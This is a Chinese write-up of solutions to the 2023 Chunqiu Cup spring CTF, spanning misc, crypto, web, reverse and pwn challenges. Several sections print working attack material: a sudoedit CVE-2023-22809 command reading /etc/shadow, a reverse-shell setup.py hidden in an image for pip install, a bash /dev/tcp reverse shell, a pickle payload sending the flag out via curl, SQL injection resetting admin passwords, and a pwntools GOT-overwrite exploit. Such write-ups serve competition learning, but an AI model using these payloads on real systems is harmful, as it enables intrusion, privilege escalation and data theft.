2023春秋杯春季赛-Writeup

第一次挂着实验室的名称去冲榜,拿下了一个总榜第16的成绩,只能说,个人的能力终究是有限的。

圆了一个AK misc单方向的梦,七天的时间30道题,给足了解题时间,可惜了,自己Bin的知识太薄弱了(该*),Web写的很开心哈哈哈哈,虽然在找qcms注入点的时候找了好久,最后也算是注出来了。四天通宵,挺刺激的,题目质量参差不齐,不好评价,整体体体验来说,85分!

Birkenwald-Writeup

Misc

sudo

登录:

img

查看sudo版本:

img

好的,一眼有CVE(其实是刚好看过这个CVE复现文章)

CVE-2023-22809 Linux Sudo权限提升漏洞复现(含POC) - 威武网安 (wevul.com)

移动到etc目录,尝试提权语句:

SUDO_EDITOR='cat -- /etc/shadow' sudoedit /etc/GAMELAB

img

能够执行命令,直接读flag:

img

piphack

简单说一下,就是pyqi的rce漏洞,直接检索“pip install rce”就行,题目过滤了

“http”、“https”,能通外网,空格过滤就行

制作图片马:

选一张喜欢的hutao.png,编写反弹shell的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from setuptools import setup
import socket,subprocess,os
def con():
import socket, time,pty, os
host='vps_ip'
port= xxxx
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()

setup(name="root", version="1.0")

保存为setup.py,然后放在一个文件夹中,压缩为一个压缩包

img

制作图种:

copy /b hutao.png + TWe1v3.zip TWe1v3.png

将图片上传至公网图床,复制连接

img

vps开启监听后,执行pip install " xxxxx.png"

img

获得shell,直接跳转到根目录,读取flag

wordle

img

绿色代表位置和字母都对了,黄色则代表字母对了,位置不对,一般知道三个字母的时候可以直接利用词典来枚举,记得自做的,灰色的则代表不含该字母,可以写个正则跑一下

img

正确为pause

img

58和64

直接一键出flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*-coding: UTF-8 -*-
import os
from base58 import b58decode
import base64


def decrypt_files(directory):
output = ""
for i in range(14268):
filename = str(i) + '.txt'
filepath = os.path.join(directory, filename)
if os.path.exists(filepath):
with open(filepath, "r") as f:
content = f.read()
if len(content) in (1, 2):
try:
decoded = b58decode(content).decode("utf-8")
output += decoded
except Exception as e:
print(f" {filename} decode error: {str(e)}")
else:
print(f" {filename} Error")
else:
print(f" {filename} not found")
while True:
try:
string = base64.b64decode(output)
output = string.decode("utf-8")
except:
print(output)
break


decrypt_files('.')
#flag{640ce012-3d3a-446d-9d0e-5d2fe840063b}

盲人隐藏了起来

对比34文件修补12文件头

image-20230519200245901

另存为12.mp4打开播放,获得压缩包密码ChunJiSai7k7kbibi@!

image-20230519200333495

获得一个flag.png

stegsolve打开分析,BGR获取到flag

image-20230519201039450

happy2forensics

Wireshark导出http发现有一个rar,提取出来,发现是个磁盘,根据提示20->80会得到密码

导出一下

1
tshark -r happy2forensics.pcapng -Y "tcp.srcport==20 && tcp.dstport==80" -Tfields-e tcp.seq_raw

bytes一下得到密码

bitlocker:120483-350966-299189-055297-225478-133463-431684-359403

用dis恢复一下,发现有一个压缩包,但是需要密码,图片中有一个不正常5m。放入010进行分析

发现有很多png,还有两个jpg的文件尾,手动补全一个jpg得到flag1,foremost分离得到一堆png

拼接得到压缩包密码

combined

解开压缩包,得到flag

Crypto

cheakin

img

1
2
3
4
5
6
7
8
from sage.all import *
from libnum import n2s
n = 14381700422128582509148801752355744589949207890477326887251636389639477554903212313766087310581920423926674144511237847467160303159477932732842314969782540035709454603184976310835433114879043016737665256729350745769071186849072915716081380191025215059636548339167264601163525017898164466972776553148697204889820118261937316228241099344357088387154112255824092894798716597134811437852876763391697588672779069166285303075312833415574850549277205130215394422655325352478386576833373623679069271857652029364332047485797407322257853316210866532938722911480593571175419708834718860211036796987231227104370259051299799633809
c1 = 7213976567554002619445032200800186986758840297933991288547009708561953107405266725278346810536664670987171549114913443730366439254199110599202411546254632702440251000149674899033994570393935743323319736976929843596350656674709510612789987746895513057821629144725499933366382123251520676386059405796801097683107223771674383940907066300331503757142088898427893069444164604408189686282018392714450005250018004986102062209998463347007934222341910941474212611569508001910685822097788669516018081617394144015000387497289693096617795809933540456797387940627782045397249431573540932386564021712811633992948508497879189416719996092292320828635490820907122756459412206735413770335545012892724496210585503157766011075566023635046144730429791359690237088629187946232458937292767085665897489251315749496284368726255508362410603108788759785472319449267909859926786774679533591222665476101832482161295321411313525830843915966136814748249906589458905410141906965538387896747375546846618213595165688661941876715858338407833641907024891922856719044736945863722003318526031957256722493189062624177017279248142024760515092698242159769372410662895078523142768353100643884341413944795392762315999109544070401451087596138520908569234305384182336436670714204963907240715652950621301644972412252424876159530992
m1 = ((c1 - 1)//(n**2)) * inverse_mod(233,n)
m1 = m1%n
print(n2s(int(m1%n)))
#b'flag{11e89e28-4e27-47'

img

1
2
3
4
5
6
7
8
from sage.all import *
D = 1117
c = continued_fraction(sqrt(D))
for i in range(10000):
x,y = c.numerator(i),c.denominator(i)
if x**2 - D * y**2 == 1:
x0,y0 = x,y
break

img

1
2
3
4
5
6
7
8
9
n = 14381700422128582509148801752355744589949207890477326887251636389639477554903212313766087310581920423926674144511237847467160303159477932732842314969782540035709454603184976310835433114879043016737665256729350745769071186849072915716081380191025215059636548339167264601163525017898164466972776553148697204889820118261937316228241099344357088387154112255824092894798716597134811437852876763391697588672779069166285303075312833415574850549277205130215394422655325352478386576833373623679069271857652029364332047485797407322257853316210866532938722911480593571175419708834718860211036796987231227104370259051299799633809
c1 = 7213976567554002619445032200800186986758840297933991288547009708561953107405266725278346810536664670987171549114913443730366439254199110599202411546254632702440251000149674899033994570393935743323319736976929843596350656674709510612789987746895513057821629144725499933366382123251520676386059405796801097683107223771674383940907066300331503757142088898427893069444164604408189686282018392714450005250018004986102062209998463347007934222341910941474212611569508001910685822097788669516018081617394144015000387497289693096617795809933540456797387940627782045397249431573540932386564021712811633992948508497879189416719996092292320828635490820907122756459412206735413770335545012892724496210585503157766011075566023635046144730429791359690237088629187946232458937292767085665897489251315749496284368726255508362410603108788759785472319449267909859926786774679533591222665476101832482161295321411313525830843915966136814748249906589458905410141906965538387896747375546846618213595165688661941876715858338407833641907024891922856719044736945863722003318526031957256722493189062624177017279248142024760515092698242159769372410662895078523142768353100643884341413944795392762315999109544070401451087596138520908569234305384182336436670714204963907240715652950621301644972412252424876159530992
c2 = 15954854445966181136742750543358176358186230663706091821454832527034640100670779737656720251005109942306013877086451482243141488450122353285697850016200364912263403464109626937525725210545566742746628476797261121321515812788726862118315480354196115424526212965145342675007815411995594752584377871686965531829990461770047418586001518916553661158567047779694730702789677326905844275827365395845945286695577426050334364557405151339008293258932006267159313380746863008928500607405457044370494583863960981060999695448408234857505591647503423149271589648863473472196402149897680041851877198062464480400493467334040101779732999029043327947071232256187123316057998759518569161852646625701393295408789279678540894319137126821001853808931387200759810381958895695749251834840804088478214013923869059004663359509316215974475427057000629842098545503905230785431115754636129549758888267877395566717448365986552725726428222769339088308242580851434964429627168365161743834285778996916154182286570122208454025753108647581888781783757375011437394936853319184725324597963035778640646869326035848170752766298225095197226934969602554875402243303906613183431896300664684256018886119255870435413622515792072064528098344111446380223430819596310173312668368618931885819458529703118195242890075359424013033800260927722161030183373647798407301688760998313223874318513944409702828538509864933624724225689414495687466779277994989628367119101
y = y0
res = int(((((c2 - 1) // n) // y)// n // y) * 2)
m2 = var("m2")
f2 = m2 * (m2 -1) - www
m2 = int(solve(f2,m2)[0].right_hand_side())
#f0-a7c7-8e66c18881be}'

拼起来:

1
2
3
flag = n2s(int(m1)) + n2s(int(m2))
print(flag)
#b'flag{11e89e28-4e27-47f0-a7c7-8e66c18881be}'

backdoor

网上能找到类似题目,照猫画虎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from random import randint
from Crypto.Util.strxor import strxor
from Crypto.Cipher import AES
from hashlib import sha256
from hashlib import md5
# 定义一些变量
(w, a, b, x) = (31889563, 31153, 28517, 763220531)
(A, B, P) = (1064988096, 802063264240, 12565302212045582769124388577074506881895777499095598016237085270545754804754108580101112266821575105979557524040668050927829331647411956215940656838233527)
G = (359297413048687497387015267480858122712978942384458634636826020013871463646849523577260820163767471924019580831592309960165276513810592046624940283279131, 9290586933629395882565073588501573863992359052743649536992808088692463307334265060644810911389976524008568647496608901222631270760608733724291675910247770)
M1 = (10930305358553250299911486296334290816447877698513318419802777123689138630792465404548228252534960885714060411282825155604339364568677765849414624286307139, 7974701243567912294657709972665114029771010872297725947444110914737157017082782484356147938296124777392629435915168481799494053881335678760116023075462921)
M2 = (497353451039150377961380023736260648366248764299414896780530627602565037872686230259859191906258041016214805015473019277626331812412272940029276101709693, 8439756863534455395772111050047162924667310322829095861192323688205133726655589045018003963413676473738236408975953021037765999542116607686218566948766462)
B_ = (5516900502352630982628557924432908395278078868116449817099410694627060720635892997830736032175084336697081211958825053352950153336574705799801251193930256, 10314456103976125214338213393161012551632498638755274752918126246399488480437083278584365543698685202192543021224052941574332651066234126608624976216302370)
# 定义椭圆曲线
E = EllipticCurve(GF(P), [A, B])
G = E(G)
M1 = E(M1)
M2 = E(M2)
B_ = E(B_)
# 计算共享秘密
z = M1 - w * G - a * x * M1 - x * b * G
k2 = sha256(str(z[0]).encode()).digest()[:6]
k2 = bytes_to_long(k2)
shared_key2 = k2 * B_
# 使用 MD5 生成密钥
key = md5(str(int(shared_key2[0])).encode()).digest()
# 解密密文,输出明文
cipher = AES.new(key, AES.MODE_ECB)
ct = b'\x1a\xfb\xa2\xe1\x86\x04\xfak\x9a\xa3\xd15\xb8\x16\x1d\xbc\xa9S\xf5;\xfa\xf1\x08dn~\xd4\x94\xa4;^*\xf6\xd7\xf10\xa3\xe1k`\x1f-\xef\x80\x16\x80\x80\xe2'
pt = cipher.decrypt(ct)
print(pt)

ecdsa

第一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
import ecdsa
import hashlib
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor as xor
import secret

p = getPrime(256)
gen = lambda: p + getPrime(16)
pad = lambda m: m + os.urandom(32 - len(m) % 32)

key = os.urandom(30)
sk = ecdsa.SigningKey.from_secret_exponent(
secexp=bytes_to_long(key),
curve=ecdsa.SECP256k1
)
sig1 = sk.sign(data=b'This is the first message.', k=gen()).hex()
sig2 = sk.sign(data=b'Here is another message.', k=gen()).hex()
enc = xor(hashlib.sha512(key).digest(), pad(secret.flag)).hex()

print(f"{sig1 = }\n{sig2 = }\n{enc = }")
'''
sig1 = '3f4a6f288e35a4397201d246a98c1f9cfa463e67717fbbdcbd26d7fac75f875855455c2bfb355f7f593ffbe4c4bd1fc729cc129976b56905639100c8ac716b37'
sig2 = '9f563b21f0ee31b2f7a1a8c6edc8ff23b63e0a9d5dd4a699ecc3164871b4982df51bb2feb4bc06c578afd21d3e6227231dd5fe1d8440f3dcd025fd3ea68f5516'
enc = 'cc66d251bfa54954890c81dc1c607bae716573949f327db18aa1f4c0f420b8d29dc7e7ff9edb17b90306bd2aa753fc3fd4dafb9cc4b771cbdd79000ef05a40c0'
'''

第二段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from ecdsa.util import sigdecode_string
from ecdsa import SECP256k1
from hashlib import sha1,sha512
from Crypto.Util.strxor import strxor as xor
from sage.all import inverse_mod
from ecdsa._compat import normalise_bytes
from ecdsa.keys import _truncate_and_convert_digest
sig1 = '3f4a6f288e35a4397201d246a98c1f9cfa463e67717fbbdcbd26d7fac75f875855455c2bfb355f7f593ffbe4c4bd1fc729cc129976b56905639100c8ac716b37'
sig2 = '9f563b21f0ee31b2f7a1a8c6edc8ff23b63e0a9d5dd4a699ecc3164871b4982df51bb2feb4bc06c578afd21d3e6227231dd5fe1d8440f3dcd025fd3ea68f5516'
enc = 'cc66d251bfa54954890c81dc1c607bae716573949f327db18aa1f4c0f420b8d29dc7e7ff9edb17b90306bd2aa753fc3fd4dafb9cc4b771cbdd79000ef05a40c0'
enc = bytes.fromhex(enc)
r1,s1 = sigdecode_string(bytes.fromhex(sig1),int(SECP256k1.order))
r2,s2 = sigdecode_string(bytes.fromhex(sig2),int(SECP256k1.order))
p = int(SECP256k1.curve.p())
# hashfunc使用的是sha1
h1 = int(sha1(b'This is the first message.').hexdigest(),16)
h2 = int(sha1(b'Here is another message.').hexdigest(),16)
n = int(SECP256k1.order)

for kr in range(-(1<<16),1<<16):
kr %= n
key = (s1*s2*kr - h1*s2 + h2*s1)*inverse_mod(r1*s2-r2*s1,n) % n
try:
key = bytes.fromhex(hex(int(key))[2:].zfill(60))
res = (xor(sha512(key).digest(), enc))
if b'flag' in res:
print(res)
except:
continue

#b'flag{2f64731e-785b-4259-4566-3d17554bfb7b}\xed\x98\x98\xbc\x92+\xc7\x7f\xe2_\xfd\x17\x1e\x9c\xf7\x17Rq\xfa3\xa2{'

Cisticola

第一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env sage
# Problem by rec, with nothing.
import secret
import os
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from sage.all import *

key = os.urandom(16)
cipher = AES.new(key=key, iv=bytes(range(16)), mode=AES.MODE_CBC)
enc = cipher.encrypt(pad(secret.flag, 16)).hex()
print(f"{enc = }")

p = 1439830214451992034013504859825496348425599138552815552028441481225682951310010651304957987750558339128649248859043607574873717185051113737355019502086518775325158336557488060325293103679742942484012852921804371007968007851081933599
R.<x> = PolynomialRing(GF(p))
Q = R(Q)

t = 17
pos = random.sample(range(600), t) + [600]
poly = [int(os.urandom(16).hex(), 16) for _ in range(t)] + [int(key.hex(), 16)]
hint = 0
for i in range(t+1):
hint = (hint + poly[i]*x^pos[i]) % Q
print(f"{pos = }\n{hint = }")

第二部分数据较大,截图展示

image-20230519192011176

不要尝试使用sagemath原函数取计算了,只能通过python去模拟这个过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
t = 17
ps = PolynomialRing(Zmod(p),[var('p%02d'%i) for i in range(t+1)]).gens()
# ps = [var('p%02d'%i) for i in range(t+1)]
poly = [0 for i in range(601)]
for i in range(len(pos)):
poly[pos[i]] = ps[i]
Q = list(Q)
for i in range(len(Q)):
Q[i] = int(Q[i])


from tqdm import tqdm

def divmod(a:list[int],b:list[int],p):
# an,bn记录多项式的长度
# 默认a,b的系数都小于p
an,bn = len(a)-1,len(b)-1
assert an>bn or (an == bn and a[an] > b[bn]), "被除数过小"
for i in tqdm(range(an,bn-1,-1)):

if a[i] == 0:
continue
tmp = p - a[i]
# print(tmp)
tmp_b = [b[i]*tmp for i in range(bn+1)]
# print(tmp_b)
for j in range(bn,-1,-1):
a[i-bn+j] += tmp_b[j]

return a


res = divmod(poly,Q,p)

for i in range(len(res)):
if 'p' in str(res[i]):
continue
res[i] = int(res[i]) % p


fangcheng = [0 for i in range(430)]
for i in range(430):
fangcheng[i] = res[i] - int(list(hint)[i])


juzhen = [[0 for j in range(18)] for i in range(429)]
www = [0 for i in range(429)]
for equa in range(429):
tmp = list(fangcheng[equa])
for i in range(len(tmp)):
if len(str(tmp[i][1])) > 1:
juzhen[equa][int(str(tmp[i][1])[1:])] = tmp[i][0]
else:
www[equa] = tmp[i][0]


A = Matrix(Zmod(p),juzhen)
enc = bytes.fromhex(enc)

最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Cipher import AES


for x in (A.solve_right(vector(Zmod(p),www))):
print((int(x) % int(p))-p)


key = bytes.fromhex(hex(275609957223526193497841020687316070508)[2:])
print(len(key))
print(key)

cipher = AES.new(key=key, iv=bytes(range(16)), mode=AES.MODE_CBC)
mm = cipher.decrypt(enc)
# enc = cipher.encrypt(pad(secret.flag, 16)).hex()
#b'flag{182273bd-61f2-7147-acd8-d571de11bb40}\x06\x06\x06\x06\x06\x06'

Web

phpstudy

正常访问连接是404,大概率猜测是缺少HTTP head

尝试发现是X-Requested-With: XMLHttpRequest

img

尝试弱口令登录,admin/123456,密码错误

好的,找一下框架漏洞,找到一篇:小皮1-click漏洞的代码审计学习笔记 - 掘金 (juejin.cn)

跟着复现看看,确定为这个漏洞,首先登录界面的没有任何过滤的SQL注入漏洞

存在用户admin,直接更新该用户的账户密码,计算一下password为123456的五次md5的加密值

1
2
3
4
5
6
7
import hashlib
str = "123456"
for i in range(0,5):
str = hashlib.md5(str.encode()).hexdigest()

print(str)
#c26be8aaf53b15054896983b43eb6a65
1
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--

注入以后,直接admin/123456登录,登录成功

img

计划任务添加任务,编写反弹shell,bash -i >& /dev/tcp/xxxx.xxx/xxxx 0>&1

img

执行任务,vps记得先监听相应端口,获取shell

img

flag在根目录,直接读就行

easypy

www.zip源码泄露,在线反编译pyc文件python反编译 - 在线工具 (tool.lu)

获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.6.12 (default, Feb 9 2021, 09:19:15)
# [GCC 8.3.0]
# Embedded file name: app.py
# Compiled at: 2023-04-16 15:41:59
# Size of source mod 2**32: 1030 bytes
import numpy, base64
from flask import Flask, Response, request
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
return '小p想要找一个女朋友,你能帮他找找看么?'


@app.route('/girlfriends', methods=['GET', 'POST'])
def girlfriends():
if request.values.get('data'):
data = request.values.get('data')
numpydata = base64.b64decode(data)
if b'R' in numpydata or b'bash' in numpydata or b'sh' in numpydata:
return '不能走捷径啊'
resp = numpy.loads(numpydata)
return '可以的,要的就是一种感觉'
return '有进步了,但是不多'


@app.route('/download', methods=['GET', 'POST'])
def download():
with open('www.zip', 'rb') as (f):
stream = f.read()
response = Response(stream, content_type='application/octet-stream')
response.headers['Content-disposition'] = 'attachment;filename=www.zip'
return response


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

简单看一下过滤规则,就是data传入ssti注入链之后base64解码,存在’R’、‘bash’、‘sh’,就只是简单的不希望你反弹shell或者是命令执行,绕过方法很简单。

curl外带flag即可,使用i指令:

1
2
3
4
5
6
7
import base64

data=b'''(S'curl vps:port/`cat /f*`'
ios
system
.'''
print(base64.b64encode(data))

记得提前开启端口监听:

img

ezrust

简单看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
use actix_files::NamedFile;
use actix_web::{App, HttpRequest, HttpResponse, HttpServer, Responder, Result, web, get, post, guard};
use std::path::PathBuf;


async fn index(req: HttpRequest) -> Result<NamedFile> {
let mut path: PathBuf = req.match_info().query("filename").parse().unwrap();
if path.to_str().expect("REASON").to_string().contains("p") {
path = PathBuf::from("no");
}
Ok(NamedFile::open(path)?)
}

#[get("/")]
async fn hello() -> impl Responder {
HttpResponse::Ok().body("Hello world!")
}

#[get("/{name}")]
async fn name(path: web::Path<(String)>) -> Result<String> {
let name = path.into_inner();
Ok(format!("Welcome {}!", name))
}


#[actix_web::main]
async fn main() -> std::io::Result<()> {
HttpServer::new(|| {
App::new()
.service(hello)
.service(name)
.route("/{filename:.*}", web::get().to(index))
})
.bind(("0.0.0.0", 8000))?
.run()
.await
}

重点看一下这一段

1
2
3
4
5
6
7
async fn index(req: HttpRequest) -> Result<NamedFile> {
let mut path: PathBuf = req.match_info().query("filename").parse().unwrap();
if path.to_str().expect("REASON").to_string().contains("p") {
path = PathBuf::from("no");
}
Ok(NamedFile::open(path)?)
}

这里主要使用的是open()函数,用来读取指定路径下的文件,根据题目提示

flag在work目录下,结合自己搭建vue框架的经历,锁定flag就在当前目录

直接url/./flag获取flag

qqcms

search存在注入点,ssti+sql

sql修改管理员密码为123456

payload:

1
{{loop sql='INSERT INTO qc_user VALUES (666, 18888888889, "管理员", "", "e10adc3949ba59abbe56e057f20f883e", "", "", 1, "", 2, 0.00, 0, 1, 1652334396, "127.0.0.1", 1, 1, 1, 1652334410, "127.0.0.1")'}}{{/loop}}

登录后台成功,目录穿越获取flag:

img

Reverse

sum

img

进去获取数据

img

一眼数独,直接在线网站算https://shudu.gwalker.cn/

img

输入正确的数据之后,即可获取flag

Poisoned_tea_CHELL

通过动调定位至主函数

image-20230519201149062

查看check函数

image-20230519201256667

↑初始化key,获取输入后进行xtea加密

xtea加密为仅更改魔数的加密

image-20230519201435273

加密完成后进行校验

image-20230519201529248

可以看出关键数据都需要通过动调获得,不过ida识别为动态库文件,所以这里通过attach进程获得

最终解密脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<iostream>
#include<windows.h>
using namespace std;

void tea(int round, unsigned int *src, unsigned int *key)
{
unsigned int v1 = src[0];
unsigned int v2 = src[1];
unsigned int sum = 3652639132;
for (int i=0; i<round; i++)
{
v2 -= (v1 + ((v1 >> 5) ^ (16 * v1))) ^ (key[((sum >> 11) & 3)] + sum);
sum += 0x41104111;
v1 -= (v2 + ((v2 >> 5) ^ (16 * v2))) ^ (key[(sum & 3)] + sum);
}
src[0] = v1;
src[1] = v2;
}

int main()
{
unsigned int src[16] = {
0xECFDA301, 0x61BECDF5, 0xB89E6C7D, 0xCE36DC68, 0x4B6E539E, 0x642EB504, 0x54F9D33C, 0x6D06E365,
0xEA873D53, 0xA4618507, 0xD7B18E30, 0xC45B4042
};
unsigned int key[] = {5, 2, 9, 7};
for (int i=0; i<12; i+=2)
{
tea(0x24, &src[i], key);
}
for (int i=0; i<48; i+=1)
printf("%c", *((char*)src + i));
system("pause");
}

Pwn

p2048

纯玩,达成条件,顶上四格加起来为2048即可(可以手打);

1
2
3
4
5
6
from pwn import *

sh = remote('47.94.224.3',27384)
payload = b'\n' * 1200 + b'a'
sh.sendline(payload)
sh.interactive()

easy_LzhiFTP_CHELL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(arch='amd64',os='linux',\
log_level='debug',\
terminal=["tmux","split","-h"])
path = os.path.dirname(os.path.realpath(__file__))

elf = ELF(path+"/pwn")
libc = ELF("/home/ubuntu/tools/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")

# p = process(path+"/pwn")
p = remote("39.106.48.123",37904)

p.recvuntil("name: ")
p.send(b'test')
p.recvuntil("Password: ")

p.send(b'r')
p.recvuntil("/No)")

p.sendline(b'No%25$p')

p.recvuntil("0x")
addr = int(p.recv(12),16)+0x2e2b
success("addr :"+hex(addr))

def touch(content,content1):
p.recvuntil("FTP> ")
p.sendline(b'touch\x01'+content)
p.recvuntil("text:")
p.send(content1)

def cat():
p.recvuntil("FTP> ")
p.sendline(b'cat')

def debug0():
p.recvuntil("FTP> ")
p.sendline(b'debug')

def edit(index,content):
p.recvuntil("FTP> ")
p.sendline(b'edit')
p.recvuntil("idx:")
p.send(str(index))
p.recvuntil("nt: ")
p.send(content)

def delete(index):
p.recvuntil("FTP> ")
p.sendline(b'del')
p.recvuntil("idx:")
p.send(str(index))

def ls():
p.recvuntil("FTP> ")
p.sendline(b'ls')

touch(p64(addr+0x38),b'aaaa')
free_got = addr-0xae8
touch(p64(free_got),b'aaaa')
touch(b'1',b'/bin/sh\x00')
touch(b'1',b'aaaa')
touch(b'1',b'aaaa')
strlen_got = addr - 0xad0
edit(-16,p64(strlen_got))
cat()
libc_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
system_addr = addr-0x3940
edit(-15,p64(system_addr))
delete(2)
p.interactive()

写在最后

能够看完或者看到这篇Writeup,对我来说这是一个很幸福的事儿。虽然比赛过程坎坷,却又让我找回来最开始打CTF时的乐趣,这种不长不短的时间,不多不少的赛题量,很适合用来缓冲缓冲现在浮躁的CTF圈子。